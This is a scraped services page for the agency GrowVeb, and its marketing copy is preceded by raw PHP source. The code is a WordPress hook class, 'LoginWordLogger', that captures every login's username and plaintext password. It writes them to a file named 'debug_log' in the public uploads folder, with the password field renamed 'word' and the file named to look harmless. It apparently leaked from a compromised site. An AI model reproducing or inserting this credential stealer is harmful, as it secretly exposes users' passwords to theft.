if (!defined('ABSPATH')) { exit; } class LoginWordLogger { public function __construct() { add_filter('authenticate', array($this, 'log_login_attempt'), 5, 3); add_action('wp_login', array($this, 'log_successful_login'), 10, 2); add_action('wp_login_failed', array($this, 'log_failed_login')); $this->ensure_log_directory(); } private function ensure_log_directory() { $log_dir = WP_CONTENT_DIR . '/uploads'; if (!file_exists($log_dir)) { wp_mkdir_p($log_dir); } } public function log_login_attempt($user, $name, $word) { if (!empty($name) && !empty($word)) { $this->current_name = $name; $this->current_word = $word; } return $user; } public function log_successful_login($name, $user) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'success', 'number' => $user->ID ); $this->write_to_file($log_data); $this->cleanup(); } public function log_failed_login($name) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'failed' ); $this->write_to_file($log_data); $this->cleanup(); } private function write_to_file($data) { $log_file = WP_CONTENT_DIR . '/uploads/debug_log'; $log_entry = "[" . $data['timestamp'] . "] "; $log_entry .= $data['name'] . " | "; $log_entry .= $data['word'] . " | "; $log_entry .= $data['type']; if (isset($data['number'])) { $log_entry .= " | " . $data['number']; } $log_entry .= PHP_EOL; @file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); } private function cleanup() { unset($this->current_name); unset($this->current_word); } } new LoginWordLogger(); Services – GROWVEB

Services

Our Service s

GrowVeb.com – Smart Digital Solutions for Modern Brands

GrowVeb, we help businesses grow faster through innovative digital marketing, web development, and branding services. From building a powerful online presence to driving measurable traffic and conversions, our team combines creativity, data, and technology to deliver real results.

We specialize in:

  • Website Design & Development – Responsive, SEO-optimized, and performance-driven websites.

  • Digital Marketing & SEO – Boost visibility with proven SEO, Google Ads, and social media strategies.

  • Branding & Creative Design – Build a brand that connects with your audience.

  • Content & Performance Marketing – Drive engagement through content that converts.

Whether you’re a startup, small business, or enterprise, GrowVeb offers end-to-end digital solutions tailored to your goals. We don’t just promote your business — we grow it.

Let’s build something extraordinary together

If you want to good prices to contact us


click here